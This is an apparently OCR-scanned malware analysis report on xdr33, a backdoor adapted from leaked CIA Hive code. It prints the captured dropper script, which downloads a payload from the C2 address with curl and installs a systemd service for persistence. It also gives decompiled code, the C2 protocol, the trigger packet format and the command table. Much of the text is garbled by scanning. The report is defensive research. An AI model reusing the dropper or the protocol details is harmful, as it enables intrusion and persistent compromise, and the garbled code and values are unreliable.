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Be vigilant: The modified CIA attack kit Hive enters the field
of black and gray production

Alex.Turing :: 1/9/2023

overview

On October 21, 2022, 360Netlab's honeypot system captured a suspicious ELF file
ee07a74d12c0bb3594965b51d0e45b6 fthat was propagated through the F5 vulnerability and detected
by VT 0. The traffic monitoring system prompted that it and the IP 45.9.150. 144generated SSL traffic,
and both parties used forged Kaspersky certificates . This got our attention. After analysis, we
confirmed that it was adapted from the source code of the CIA's leaked Hive project server. This is the
first time we have captured a variant of the CIA HIVE attack kit in the wild . Based on the
CN=xdr33 of its embedded Bot-side certificate , we internally named it xdr33 . Regarding the CIA's Hive
project, there are a large number of source code analysis articles on the Internet, readers can refer to it
by themselves, and will not expand here.

In a nutshell, xdr33 is a backdoor Trojan born out of the CIA Hive project. Its main purpose is to collect
sensitive information and provide a foothold for subsequent intrusions. From the perspective of network
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communication, xdr33 uses XTEA or AES algorithm to encrypt the original traffic, and uses SSL with
Client-Certificate Authentication mode to further protect the traffic; in terms of function, there are
beacon , triggertwo main tasks, among which beacon is Periodically report device sensitive
information to the hard-coded Beacon C2 and execute the instructions issued by it, while the trigger
monitors the traffic of the network card to identify the specific message that hides the Trigger C2. C2
establishes communication and waits for the execution of issued instructions.

The function diagram is as follows:

TCP Trigger Campaign Actor ubp Trigger |

B Payload | Payload

Beacon C2 \ Trigger C2

instruction- Y

\device info /\

Mutual TLS
Authentication

Mutual TLS Authentication

Mutual TLS Authentication

Hive uses the BEACON_HEADER_VERSION macro to define the specified version. On the Master
branch of the source code, its value is the median value 2 90of xdr33 34. Perhaps xdr33 has undergone
several rounds of iterative updates outside the field of vision. Compared with the source code, the update
of xdr33 is reflected in the following five aspects:

¢ Added new CC directive

Encapsulates or expands functions
The structure is adjusted and extended
Trigger message format

Add CC operation to Beacon task

These modifications of xdr33 are not very sophisticated in terms of implementation, and the vulnerability
used in this dissemination is N-day, so we tend to rule out the possibility that the CIA will continue to
improve on the leaked source code, thinking that it is a black gang Use the result of the magic
modification of the leaked source code. Considering the great power of the original attack kit, this is
definitely not what the security community likes, so we decided to write this article to share our findings
with the community and jointly maintain the security of cyberspace.

Vulnerability Delivery Payload
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The md5 of the payload we captured is ad40060753bc3al1d6£380a5054c1403aas follows:

cat <<EOF > /etc/systemd/system/logd.service

[Unit]

Description=Logs system statistics to the systemd journal
Wants=logd. tumer

[Service]
Type=oneshot

StandardErro L1
KillMode=process

[Install]
WantedBy=multi-user.target
EOF

# logd.tumer

cat <<EOF > /fetc/systemd/system/logd.tumer

[Un1it]

Description=Logs system statistics to the systemd journal
Requires=logd.service

[Timer]
Unit=logd.servi
OnCalendar=*-*-* *;%:00

[Install]
WantedBy=timers.target
EOF

cat << EOF > /var/service/logd.check
var=\$(ps f | grep hlogd | grep -v grep)
if [ -z "\$var" ]; then
cd /command/b1in ./hlogd
EOF
chmod 755 /var/service/logd.check
[ ! -f /command/bin/hlogd ] mkdir -p /command/bin curl http: .9.150. ;120966 -x86 -o /command/bin/hlogd chmod 755 /command/bin/hlogd
systemctl daemon-reload
systemctl enable logd.service
systemctl start logd.service

The code is simple and straightforward, its main purpose is to:

1: Download a sample of the next stage and masquerade it as /command/bin/hlogd.

2: Install 1ogdthe service for persistence.

sample analysis

We only captured a xdr33 sample of X86 architecture, its basic information is as follows:

MD5:ee07a74d12c0bb3594965b51d0e45b6f
ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically
linked, stripped

Packer: None

To put it simply, when the compromised device is running, xdr33 first decrypts all configuration
information, then checks whether there is root/admin authority, if not, outputs Tnsufficient

permissions. Try again...and exits; otherwise, initializes various runtime parameters, such as
C2, PORT , running interval, etc. Finally, through the two functions of beacon_start and TriggerListen ,
the two tasks of Beacon and Trigger are started.
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DLX (1, printf( BeaconStart () \n”)) :

S

retVa ac AT 0) ;

));

]

DLX(1, printf(”ALL BEACONS DISABLED, beaconInfo. initDelay <= O. ))

DLX (1, printf(“Self delete delay:

DLX (2, printf( “\tCalling TriggerListen()
(void) TriggerListen(tr delay,

The following mainly analyzes the implementation of Beacon and Trigger functions from the perspective
of binary system reverse; at the same time, it combines the source code for comparison and analysis to
see what changes have taken place.

Decrypt configuration information

xdr33 decrypts the configuration information through the following code fragment decode_str . Its logic is
very simple, that is, byte-by-byte inversion .

int  cdecl decode_str(int al, int a2)
{
int result; // eax
for ( result = @; result < a2; ++result )
*(_BYTE *)(al + result) = ~*(_BYTE *)(al + result);
return result;
h

In IDA, you can see that there are a lot of cross-references of decode_str, a total of 152 places. In order
to assist the analysis, we implemented the IDAPython script Decode_RES in the appendix to decrypt the
configuration information.
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xrefs to decode str

Directio Ty Address

Text

p main+136 decode str
Up p main+147 call decode str
Up p main+162 call decode str
Up p main+170 call decode str
Up p decode init+D call decode str
Up p decode init+1B call decode str
Up p decode init+29 call decode str
Up p decode init+37 call decode str
Up p decode init+45 call decode str
Up p decode init+53 call decode str
Up p decode init+61 call decode str
Up p decode init+6F call decode str
Up p decode init+7D call decode str
Up p decode init+8B call decode str
Up p decode init+99 call decode str
Up p decode init+A7 call decode str
Up p decode init+B5 call decode str
Up p decode init+C3 call decode str
Up p decode init+D1 call decode str
Up p decode init+DF call decode str
Up p decode init+ED call decode str

[Line 1 of 152 |

The decryption result is as follows, including Beacon C2 45.9.150.144 , prompt information when

running, commands to view device information, etc.
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sedcef4a,

bl'45.9.150.144hx00\x86\xb8\x01C+\xf7, \xF5\xe7\x0b\xd4Q\xb9\xa6 \n~\xfelN\xc9\x%\xa3n\x

\xab\xel\xaayt\xaa\x18\xcOQ\xc1\x0b\xfo \xd6\xa3f \x0b™ \xc3\xed\xe®\x9a \xd2\xcc\x82\x92%\x@2 \xdc\,
YW %82\ x8bw'\x01\x06\xb8\xa2\xe5\ x84\ xad\x8a\xb5\x871 \xb9\xb7 \x8a \xcf \xBc \xce\xc3Ln\x14" \xcbk\x08\
Wc8\xcd\xFB6\x17\x17-\x16\xcdn\xcd\xaa: \xd5\x9bT\xa2\xd9\xdc \x84\xb81\xd@\ xad\xe1\x12\x1dq\xd4

gedclf4a,
80dc204,
80dceed,
80dceb@,
8@dcead,
80dce9@,
80dceso,
80dce6d,
80dcebd,
80dcedd,
80dce3c,
80dce34,
80dcel2c,
80dce0o,
80dcddc,
80dcdcs,
80dcdag,

b "\ x00\x00\ x00\xB0\ x00\ x00\x00\ x00\x00\ x00\x00\ x00\x00\ x00\ x00\x00 "
b "\ x00\x00\ x00\xP0\ x00\ x00\x00\ x00\x00\ x00\ x00\ x00 \x00\ x00\ x00\x00 "

b" Insutticient permlssions. Iry again...\n\x&g’
b'a:cD:d:hi:j:K:k:P:p:S:s:t:\x00'

b'Option error\x@a’

b'File not foundix0o’

b"ID too short\x0e'

b'Too many characters for address\x@e’

b' /proc/uptime’\x0a"’

b'tasklist\x0@"'

b'ps -ef\x00"

b'proc\xee’

b'stat\xee'

b'\npid state ppid pgrp session commandi\n‘\x@e'
b'ipconfig /all\x@a'

b'/sbinfifconfig -a\x00Q'

b'error fetching interface information\xee’

Beacon Task

The main function of Beacon is to periodically collect PID, MAC, SystemUpTime, process and network-
related device information; then use bzip, XTEA algorithm to compress and encrypt the device
information, and report it to C2; finally wait for the execution of instructions issued by C2 .

0x01: information collection

e MAC

Querys10oCGIFCON MAC via orSTOCGIFHWADDR

{

}

do

if ( !GetMac_via SIOCGIFCONF((int)(al + 3@8)) )
break:;

wrap_sleep(4);

if ( !GetMac_via SIOCGIFHWADDR((int)(al + 308), "ethe") )
break:;

if ( !GetMac_via_SIOCGIFHWADDR((int)(z1 + 388), "enp@s3") )
break:;

if ( !GetMac_via_SIOCGIFHWADDR((int)(z1 + 3@8), "en®") )
break;

f ®
Vo g

while ( vl );

e SystemUpTime

Collect the running time of the system through /proc/uptime
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int v@; //
int v2; //
int v3; //

m
ai]
=

=]
=

— M

esp+14h] [ebp-Ch] BYREF

vi = 8;

vl =  GI fopen(aProcUptime, "r");

if ( 1ve ) .
return @; /pl"OC/U ptlme

v = v@;

if ( sub_809B387(ve, "%i", &3} == -1 )
return @;

sub_8099528(v2);

return vi3;

h
e process and network related information

Collect process, network card, network connection, routing and other information by executing
the following 4 commands

net _cmd dd offset aPsEf ; DATA XREF: run_cmd+2i
| "ps -ef”
dd offset aSbinIfconfigA | "/sbin/ifconfig -a"
dd offset alNetstatAntu ;|"netstat -antu”
dd offset alNetstatRn ;| "netstat -rn”
0x02: information processing
Xdr33 combines different device information through the update_msg function
vlh = [Eet_proclisT(voT)]
if ( vI5 )
update_msg(( _DWORD *)dword 8BEA720,| 3, | (int)vls, ved[@]);

ved[@] = 2048;
vle =|get_1itcontig(vod);)
if ( vie )
update_msg(( _DWORD *)dword 80EA720,|4,|(int)vl
ved[@] = 2048;
v17 =|get_netstatRN((int)ved);|
if ( vl7 )
update_msg(( DWORD *)dword 8@EAT20,|5,|v1l7, vod[@]);
vod[@] = 2048;
v18 = (int)get _netstatANTU(vE4);
if ( v18 )
update_msg(( DWORD *)dword 8@EAT20,|6,|v1E, vod[@]);

oh

, vea[e]);

In order to distinguish different device information, Hive designed ADD_HDR, which is defined as follows.
"3, 4, 5, 6" in the above figure represent different Header Types.
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typedef struct  attribute  ((packed)) add header {
unsigned short type;
unsigned short length;

} ADD HDR;

So what type does "3, 4, 5, 6" specifically represent? This depends on the definition of Header Types in
the source code in the figure below. On this basis, xdr33 has been extended, adding two values of 0 and
9, representing Sha1[:32] of MAC and PID of xdr33 respectively .

Part of the information collected by xdr32 in the virtual machine is shown below. It can be seen that it
contains de\_/ice inf_ormation with head type 0, 1, 2,7, 9, and 3.

00000008 : coljBBlBBlc: 35 35 63-37 37 36 39-35 62 36 66
00000010: 35 63 32-34 62 30 63-66 37 63 63-63 65 33 65
00000020 36 34 3cfjee c1jjEBllzo 30 2D 30-63 2D 32 39
00000030: 39 34 2D-64 39 2D 34-33fjee
00000040: 31 34 ocfjee @

00000050: 38 39 34-33fe0 @

c55c7769506f

ceviie inflo

A 55 49-44 20 2

It is worth mentioning that type=0, Sha1[:32] of MAC, which means to take the first 32 bytes of MAC
SHA1. The mac in the above figure is an example, its calculation process is as follows:

mac:00-0c-29-94-d9-43, remove "-"
result:00 Oc 29 94 d9 43

shal of mac:
result:c55¢c77695b6fd5c24b0cf7ccce3ed64034b20805

shal[:32] of mac:
result:c55¢c77695b6fd5c24b0cf7ccce3ed640

After all the device information is combined, use bzip to compress, and add 2 bytes of
beacon_header_version and 2 bytes of OS information to the header.
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0x03: network communication

The communication process between xdr33 and Beacon C2 includes the following four steps, and the
details of each step will be analyzed in detail below.

e Two-way SSL authentication

e Get XTEA key

e Report XTEA encrypted device information to C2
e Execute the instructions issued by C2

Step1: Two-way SSL authentication

The so-called two-way SSL authentication requires Bot and C2 to confirm each other's identities. From
the perspective of network traffic, it is obvious that Bot and C2 request and verify each other's certificates.

Source Destination Protocol Destination Port Info

45.9.150.144 172.19.119.163 TCP 443 - 47232 [SYN, ACK] Seq=@ Ack=1 Win=6516@ Len=0 MSS=1460 SACK_PERM TSval=1738555381 TSecr=2¢
172.19.119.163 45.9.150.144 TCP 47232 > 443 [ACK] Seq=1 Ack=1 Win=64256 Len=@ TSval=20804673259 TSecr=1738555381
172.19.119.163 45.9.150.144 TLSv1.2 Client Hello

45.9.150.144 172.19.119.163 TCP 443 - 47232 [ACK] Seqg=1 A;k=183 Win=64896 Len=8 TSval=173855569@ TSecr=2004673295
45.9.150.144 172.19.119.163 TLSv1.2 Server Hello, Certificate

172.19.119.163 45.9.150.144 TCP 47232 > 443 [ACK] Seq=283 Ack=1449 Win=64128 Len=0 TSval=2004673561 TSecr=1738555692
45.9.150.144 172.19.119.163 TLSV1.2 Server Key Exchange, Server Hello Done

172.19.119.163 45.9.150.144 TCP 47232 > 443 [ACK] Seq=283 Ack=2099 Win=63488 Len=0 TSval=28@4673561 TSecr=1738555692
172.19.119.163 45.9.150.144  TLSV1.2

45.9.150.144 172.19.119.163 TCP 443 » 47232 [ACK] Seq=2099 Ack=161°2 Win=64128 Len=0 TSval=1738555967 TSecr=2004673577
172.19.119.163 45.9.150.144 TLSv1.2 Client Key Exchange, Certificate Verify, Change Cipher Spec, Encrypted Handshake Message

The author of xdr33 uses the kaspersky.conf and thawte.conf templates in the source code warehouse to
generate the required Bot certificate, C2 certificate, and CA certificate.
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"content/document/repo_hive/client/ssl/CA"

] cacrt

B CA-HOWTO.txt

-

L] cakey

L] cert_app

) clientert

L1 clientkey [ my_req_dn ]
Armnlac C=RU

b examples Tetloscon

[_‘J gen_test_ca.sh L=Moscow

- . O=Kaspersky Laboratory

L] index oU=IT

— index_attr CN=www . kaspersky.com

L .

L1 kaspersky.conf

] mygen.sh

+ newcerts

B README

m i [ my_req_dn ]

L serial Pt

[_‘J server.crt ST=Western Cape

. L=Cape Town

L] Server.key O=Thawte Consulting cc

= OU=Certification Services Division

L] sslconf.txt CN=Thawte Premium Server CA

a thawte conf emailAddress=premium-server@thawte.com

The CA certificate, Bot certificate and PrivKey are hardcoded in DER format in xdr32.

if ( sub_8887516((int)&unk_8@E316@,| (1nt)&CA, 0x561) ) |
return @;

dword S80E3418 = @;

memset (&unk_80E32C0, ©, Ox158u);

dword 80E341C = @;

if ( sub_8887516((int)&unk_80E32CA, |(int)&Cert, Bx529)
|| 5ub_8879BB?((irt)&dword_SBE3418,|Prlvkey, Bx4A7u, (1int) J9P072wRopIMylQkzsgBadDV™, 25) 1

{

return @;

You can use to openssl x509 -in Cert -inform DER -noout -textview the Bot certificate,
where CN=xdr33, which is the origin of this family name.
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Valiwdity
Not Before: Oct 7 19:50:07 2022 GMT
Not After : Mar 16 19:50:07 2023 GMT
Subject: C=RU, 0=Kaspersky Laboratory, CN=Engineering, CN=xdr33, ST=Moscow, L=Moscow, QU=IT
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
Public-Key: (2048 bit)
Modulus:

You can use to openssl s client -connect 150.144:443view the C2's certificate. Bot and

C2 certificates pretend to be related to Kaspersky, in this way to reduce the suspiciousness of network
traffic.

Not Before: Oct 7 19:47:59 2022 GMT
Not After : Oct 2 19:47:59 2023 GMT
Subject: C=RU, O=Kaspersky Laboratory, CN=www.kaspersky.com, CN=server33, ST=Moscow, L=Moscow, OU=IT
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
Public-Key: (2048 bit)

The CA certificates are shown below. Judging from the validity periods of the three certificates, we
speculate that the activity will start after 2022.10.7.
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Certificate:
Data:
Version: 3 (0x2)
Serial Number: 0 (0x0)
Signature Algorithm: sha256WithRSAEncryption
Issuer: C=ZA, ST=Western Cape, L=Cape Town, O=Thawte Consulting cc, OU=Certification Services Division, CN=Thawte Premium Server CA/emailAddress=premium-server@thawte.com
Validity
Not Before: Oct 7 14:11:38 2022 GMT
Not After : Oct 1 14:11:38 2047 GMT
Subject: C=ZA, Sl=Western Cape, L[=Cape lown, O=Thawte Consulting cc, OU=Certification Services Division, CN=Thawte Premium Server CA/emailAddress=premium-server@thawte.com
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
Public-Ke (2048 bit)
Mod

5537 (0x10001)

€onstraints: critical

X509v3 Subject Key Identif
F3:05:C1:A1:5B:F1 2D:FE:FD 3:5A:B4:FD:B1:E5

Step2: Obtain XTEA key

After Bot and C2 establish SSL communication, Bot requests XTEA key from C2 through the following

code snippet.
|for (7 =9; 7 !=64; *((_BYTE *)ve4d + j++) = sub_80A1423() % 255 ) |

Va5 = (payload_len & OXFFFFFFFS) + 8; random 64 bytes

memset(v63, @, sizeof(v63));
memset(tmp, ©, 36u);
wrap_sprintf((int)ve3, (int)"%u", v49);
27 = @

[wrer -striencen -5 1 (len of len of device info) xor 5

While ( 1 )

{

oreak (len of device info) xor 5

gmemcpy(v6d, tmp, v28);

if ( crypto_write((int)v54, v64, @xd4eu) < @ )
goto LABEL_9@;

memset(v64, @, sizeof(ve4));

v30 = crypto_read(vS4, ve4d, @x20u);

i (vso 1= 32 ) get the tea key
brealk:

[gmemepy (v62, (char *)v64 + (LOBYTE(v64[@]) ~ 5u) % OxF + 1, sizeof(v62));f

Its processing logic is:

1. Bot sends 64 bytes of data to C2 in the format of "length of device information length string (xor 5)
+ device information length string (xor 5) + random data"

2. Bot receives 32 bytes of data from C2, and gets 16 bytes of XTEA KEY from it. The equivalent
python code to get KEY is as follows:

XOR_KEY=5
def get key(rand bytes):

\

offset = (ord(rand bytes[0]) ~ XOR KEY) % 15
return rand bytes[ (offset+l) : (offset+17)]
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Step3: Report XTEA encrypted device information to C2

The Bot uses the XTEA KEY obtained in Step2 to encrypt the device information and report it to C2. Due
to the large amount of device information, it generally needs to be sent in blocks. Bot can send up to
4052 bytes at a time, and C2 will reply with the number of bytes accepted.

| xtea enc({int)ve6, 1, (unsigned int *)v63, vol);

already_send = 8;

do

{
v3i0 = v49 -
if ( v49 - already
[V20 = 4052; |
it ( crypto write((int)v54, (unsigned int *)((char *)v15 + already send), v39) < 8 )

goto LABEL 90;
memset(vo3, @, sizeof(voi));
vd® = crypto_read(v54, (unsigned int *)v63, 30u);
if ( vdd < 8 )
{
sub_8B997AE("2");
goto LABEL_9@;

h
if ( vde )
break;
already send += hex{((int)ve3);
}
while ( v49 > already send );

It is also worth mentioning that XTEA encryption is only used in Step3, and the network traffic in
subsequent Step4 only uses the encrypted encryption suite negotiated by SSL, and XTEA is no longer
used.

Step4: Wait for the instruction to be executed (xdr33 new function)

After the device information is reported, C2 sends an 8-byte task number N in this cycle to the Bot. If N is
equal to 0, it sleeps for a certain period of time and enters the Beacon Task of the next cycle; otherwise, it
sends a 264-byte task. After the Bot receives the task, it parses it and executes the corresponding
instruction.

case 1:
updated = Download(al, (char *)v2, _byteswap_ulong(*(( DWORD *)a2 + 64)), @);
goto LABEL_4;
case 2: s
/30 = crypto_read(v54, v6l, 8u); updated = exec((int)v2, *({_DWORD *)a2 + 65), @, 08); 6
if ([vz0 == 8 goto LABEL_4;
{ case 3: c
while ( v41 < _byteswap_ulong(v61[1]) ) updated = update(al, *((_DWORD *)a2 + 65), (const char *)v2, ki g (*((_DWORD *)a2 + 64)));
1{ goto LABEL_4; ‘e
memset(veb, @, @x108u); case 4: ‘
va2 = crypto_read(v54, (unsigned int *)v66, 264u); updated = upload(al, (char *)v2); o
v30 = va2; goto LABEL_4; Q
if (w42 > 0) case 5: “Q
{ vE[0] = delete_1((char *)v2); s
if (L7 =7677] if ( lvole] ) z,
Handle_beacon_cmd((int)v54, v66); goto LABEL_13;
¥ updated = deletej((i«‘*)“
else if ( v42 I= OxFFFF970@ ) EL 4 o
{ I v6[0] = updatg c
goto LABEL_91; EL 13:
} *,'S[Bb,_ Pswap_ulong(vo[0]);
++vdl; cryptd®®ite(al, vo, 8u);
¥ free(v2);
v3e = @; return vE[0];
¥ case 8:

updated = launchshell((int)v2);
goto LABEL_4;

case 9:
updated = proxy((int)v2);
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The supported commands are shown in the table below:

Index function

0x01 Download File

0x02 Execute CMD with fake name "[kworker/3:1-events]"
0x03 update

0x04 Upload File

0x05 Delete

0x08 Launch Shell

0x09 Socketb5 Proxy

0xOb Update BEACON INFO

Example network traffic

Actual step2 traffic generated by xdr33

00000000 @1 31 32 37 35 28 le 6f 57 ee c9 10 35 73 95 38  .1275(.0 W...55.8
eooeee1® f2 61 bf 42 6b 95 6e 91 99 45 e8 ab 5c 1le 2e 83  .a.Bk.n. .E..\...
00000020 bd 7 ce 32 22 84 62 .t; os T) 12 a2 8e 57 47 00 ...2".a. ..... WG.
00000030 51 5T da 62 2e 3¢ a:sh;»ep k= 33 4a 1a af ff de Q .b..b. ..:J.0..

DOOEeERe Ada 75 Oc 36 ea(2e'@9'9bh @8 cf 53 bee7 @@ be1l  Ju.6.... ..S.....

PP0eee1e @2 31 445 3a b1 99 fb 08 05 a6 93 ef 23 a4 84  B1.Ei... .u... #..
Jagudddyd 6> de DL TY be 37/ 27 eb /1 b/f 95 65 24 od 74 oT [T v R =) I o
@0000050 8b e3 cf bb 40 ae 54 9f 86 83 e2 b 6a 68 57 do ....@.T. ....jhu.
00000060 9a 2f 5b 84 93 1e bl ed 30 81 34 72 el 47 df 27  ./[..... 0.4r.G."
00000070 €9 20 17 dd 34 fd 83 af «cb ff @a 45 22 @a e8 d1 . ..4... ...E"...
@0000080 7b d2 77 cb 68 b3 2d 5e ea 56 58 5@ 82 4a 61 ¢6 {.w.h.-~ .VPP.Ja.
00000090 9e 68 17 c8 10 9e dd a3 b8 ba 13 ¢5 6f d9 a8 dd  .h...... . T
000000A0 2d e3 fc d8 46 47 eStep £l3c5 1f od 83 fo dc  =...FGoe TF......
@00000B@ af bd fb a3 34 de 4b 22 ™4 18 85 c3 5a 5 59 dc ....4.K" ....Z.Y.
P000PeCA a8 8e 15 64 ba 8c 8d 6d 38 d4 37 @1 45 ad de a1 ...d...m 8.7.E...
00000eD0 dc 61 54 @a be 49 ca 5¢ 78 b3 a6 5b 9a 24 7b 3a  .aT..I.\ x..[.${:
P0OPERED ©1 f3 bc e3 b6 @3 83 2b 3b 02 3a e3 ec 8Bd cb 4a  ....... R |
00PEEOFO 11 32 30 4a a7 5d 57 62 52 f9 a6 63 ae 13 6¢ 43  .2031.]Wb R..c..lC
00000100 ©d 48 54 8c d4 23 3f @@ 71 ce 85 4c ec 45 2b f¢ L HT..#?., g@..L.E+.
FAAAAAA AN L. T o Aa ~ rL L/ oA o Ar Lkl o ad £ o La — lecnr 1 o

Interaction in step3, and traffic in step4
00001000 7c 16 ec 75 d5 32 e2 a7 53 09 93 75 00 ae d9 b1 |..u.2.. S..u....
eoeo1018 db b3 5c 82 o\

00000020 34 3@ 35 32 . L 4052
- wAwE Y - -, T~ 1 Ei \ b, - - - v R ) * ay sa ey
20001284 28 28 87 67 fe 24 ac 6C apcl dé6 99 1c b2 8f a5  ((.g.%.1 ........
00001294 d3 7a d7 ac 10 42 07 ca 24 3d al 65 54 91 fc 5¢  .z...B.. $=.eT..\
00001274 6 22 de 87 6e 14 6b d2 3b d6 72 25 unlk. ;.r¥%

ARRAREIA 36 36 38 [STa¥e

|eeeeeez7 00 00 00 00 00 00 00 00 Step—4 B |

What information can we get from it?
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1. The length of the device information length string, 0x1 * 0x5 = 0x4

2. Device information length, 0x31, 0x32, 0x37, 0x35 respectively Xor 5 to get 4720

3.teakey2E 09 9B 08 CF 53 BE E7 A0 BE 11 42 31 F4 45 3A

4. C2 will confirm the length of the device information reported by the BOT, 4052+668 = 4720, which

corresponds to point 2

5. The number of tasks in this cycle 00 00 00 00 00 00 00 00, thatis, no tasks, so no specific

tasks of 264 bytes will be issued

The encrypted device information can be decrypted by the following code. Taking the first 8 bytes 65 d8
bl £9 b8 37 37 ebof decryption as an example, the decrypted datais 00 22 00 14 42 5A 68

39, contains beacon header version + os+ bzip magic, and can correspond to the previous

analysis one by one.

import hexdump

import struct

def xtea decrypt (key,block,n=32,endian="!"):

v0,vl = struct.unpack(endian+"2L", block)
k = struct.unpack(endian+"4L", key)
delta,mask = 0x9e3779b9, Oxffffffff
sum = (delta * n) & mask
for round in range (n) :
vl = (vl - (((v0<<4d »~ v0>>5) + v0) ©~ (sum + k[sum>>11 & 3]))) &
mask
sum = (sum - delta) & mask
vO = (vO0 - (((vlis<d4 »~ v1>>5) + vl1) 7~ (sum + k[sum & 3]))) & mask

return struct.pack(endian+"2L",v0,v1l)

def decrypt data(key,data):
size = len(data)
i=20
ptext = b''

while i1 < size:

if size - 1 >= 8:

ptext += xtea decrypt(key,datal[i:1+8])

i += 8
return ptext
key=bytes.fromhex ("""
2E 09 9B 08 CF 53 BE E7
")
enc_buf=bytes.fromhex ("""
65 d8 bl f9 b8 37 37 eb

A0 BE 11 42 31 F4 45 3A
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mwn II)

hexdump.hexdump (decrypt data (key,enc buf))

Trigger Task

The main function of Trigger is to monitor all traffic and wait for the Trigger IP message in a specific
format. After the message and the Trigger Payload hidden in the message pass the layer-by-layer
verification, the Bot will establish communication with the C2 in the Trigger Payload and wait for the next
execution. issued instructions.

0x1: monitor traffic

Use the function call socket( PF_PACKET, SOCK_RAW, htons( ETH_P_IP ) ), set the RAW SOCKET
to capture the IP message, and then process the IP message through the following code snippet, it can
be seen that Tirgger supports TCP and UDP, and the maximum length of the message Payload is 472
bytes. This implementation of traffic sniffing will increase the load on the CPU. In fact, the effect of using
BPF-Filter on the socket will be better.

if ( protocol != 17 )
{
if ( protocol == 6 ) [/ tcp part
{
HIBYTE(v12) = v4A->tot _len;
LDBYTE( 12) = HIBYTE(v4->tot_len);

rl _J 1o

= (tcphd *)((h'fr“ vd + 4 F b)),
Tcp 1oad_len = vlz - 4 * ve - 4 * (*(( BYTE =-)_.--- 12) >>44)7;2 -
|1f ( ( igned intl6)(tcppayload len - 126) <= 346u )| Maximum
return theck_tcpt(_ t)tcp, —f"';Lca:___ tbut);
¥
return -1;
¥
HIBYTE(v/) = vd-»>tot_len; /f udp part
LDBYTE(??) = HIBYTEL<d->tot len);:
wip - (char v + SUPPOFt TCP UDP Protocol
ve = v7 - 15&
v:jjamlﬂ;’ len = v/ - 28;
resyl BxFFFFFF:F'

lif ( vo <= 346u

return —(kheck udpl(_ tYudp, udppavload len, outbuf) != @);

return result,

ki

0x2: Verify Trigger message

TCP and UDP packets that meet the length requirements use the same processing function
check_payload for further verification.
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xrefs to check payload O X

Directio Ty Address Text

EZSUp | check udp+F jmp  check payload
j  check tcp+1D jmp  check payload
Line 1 of 2

| 0K | Cancel Search Help

The code of check_payload is as follows:

v3 = crcle((unsigned  int8 *)(payload + 8), 84);

result = -1;
[7 = (WORD ) Cpay Toad + v3 % 208u = 925 ] calc crc16 offset
if ( (unsigned int)v5 <= payload + (unsigned int)len

{

HIBYTE(v6) = *u5;

LOBYTE(v6) = HIBYTE(*v5);

[if (2 = v6) crc16 check

HIBYTE(v7) = *(_WORD *)(payload + v3 % 200u + 94);
LOBYTE(v7) = HIBYTE(*( WORD *)(payload + v3 % 200u + 94));

] mod 127 check

Tor (1 =6@; 1 = 29; ++1 )
#(_BYTE *)(out + i) = *((_BYTE *)}v5 + i + 12) ~ *(_BYTE *)(v2 % 55u + payload + i + 8);
return o,
. decrypt trigger payload

}

return result;

¥

You can see its processing logic:

1. Use the CRC16/CCITT-FALSE algorithm to calculate the CRC16 value of offset 8 to 92 in the
message, and get the crcValue

2. Obtain the offset value of crcValue in the message through crcValue% 200+ 92, crcOffset

3. Check whether the data at crcOffset in the message is equal to crcValue, if they are equal, go to
the next step

4. Check whether the data at crcOffset+2 in the message is an integer multiple of 127, if so, go to the
next step

5. Trigger_Payload is encrypted, the starting position is crcOffset+12, and the length is 29 bytes. The
starting position of Xor_Key is crcValue%55+8, and the two are XORed byte by byte to get
Trigger_Paylaod

So far, it can be determined that the format of the Trigger message is as follows:
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Y k
8 bytes 0-199(CRC % 200) bytes| 2 bytes 2 bytes xored 29 bytes .
padding Ll Sl [ random padding crc (127*N) trigger payload I leng padding

133 bytes minimum / 472 bytes maximum

0x3: Verify Trigger Payload

If the Trigger message passes the verification, continue to verify the Trigger Payload through the
check_trigger function

int _ cdecl check_trigger(int payload, int out)
{
int result; // e=ax

_ intl6 v3; // di
intl6 v4; // ax

if ( !payload )

return -1;
if ( lout )
return -1;
v3 = *( WORD *)(payload + 27); crc CheCk
*(_WORD *)(pavload + 27) = B;
if ( (unsigned _ intle)crcl6((unsigned _ int8 *)payload, 29) != _ ROL2_ (v3, 8) )

return -1,
*¥( _DWORD *)(out + 4) = *(_DWORD *)(payload + 1); trigger c2
HIBYTE(v4) = *(_WORD *)(payload + 5);
LOBYTE(v4) = HIBYTE(*( WORD *)(payload + 5)); trigger port
*(_WORD *)(out + 8) = v4;
result = @;
gmemcpy( (void *)(out + 12), (const void *)(payload + 7}, @x14u); shal
return result;

}

You can see its processing logic:

1. Take out the last 2 bytes of Trigger Payload, denoted as crcRaw

2. Set the last 2 bytes of Trigger Payload to 0, calculate its CRC16, and write it as crcCalc

3. Compare crcRaw and crcCalc, if they are equal, it means that the Trigger Payload is structurally
valid

Then calculate the SHA1 of the key in the Trigger Payload, and compare it with the hardcoded SHA1
46a3¢c308401e03d3195c753caa14ef34a3806593 in the Bot. If they are equal, it means that the content
of the Trigger Payload is also valid, and you can go to the last step to establish communication with the
C2 in the Trigger Payload and wait for the execution of the instructions issued by it.

So far, it can be determined that the format of the Trigger Payload is as follows:
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1 byte
not used

Trigger payload 29 bytes

0x4: Execute the command of Trigger C2

When a Trigger message has passed the layer-by-layer verification, the Bot will actively communicate
with the C2 specified in the Trigger Payload, waiting for the execution of the command issued by the C2.

while ( 1)
{
sub_804A4AA(vE, 8);
sub_8@97EE2(0xE16u) ;
memset(but, @, 264u);
vd = 551 read((int *)dword 8OEA728, buf, 264u);
if (vd <®8)
break;
sub_8097EE2(0);
if ((v3)
sub_80AB827(v2);
v3 = heapalloc(@xFFu);
gmemcpy(v2, (char #)buf + 1, 255u);
switch ( LOBYTE(buf[@]) )

{
case @:
case 16:
vi[e] = @;
goto LABEL 21;
case 1:

v5 = task 1(dword 8@EA728, (char *)v3, _byteswap ulong(buf[6d4]), @);
goto LABEL 25;
case 2:
memset(vs, @, sizeof(vi));
v5 = task 2(v3, dword BBEA728, (int)vi, 0);
goto LABEL 25;
case 4:
v5 = task_4(dword 8@EA728, (char *)v3);

The supported commands are shown in the table below:

Index function
0x00,0x00a Exit
0x01 Download File
0x02 Execute CMD
0x04 Upload File
0x05 Delete
0x06 Shutdown
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Index function

0x08 Launch Shell
0x09 SOCKET5 PROXY
0x0b Update BEACON INFO

It is worth mentioning that the details of communication between Trigger C2 and Beacon C2 are different.
After the Bot and Trigger C2 establish the SSL tunnel, they will use Diffie-Helllman key exchange to
establish a shared key, which is used for the AES algorithm to create the second layer of encryption.

DL(3);
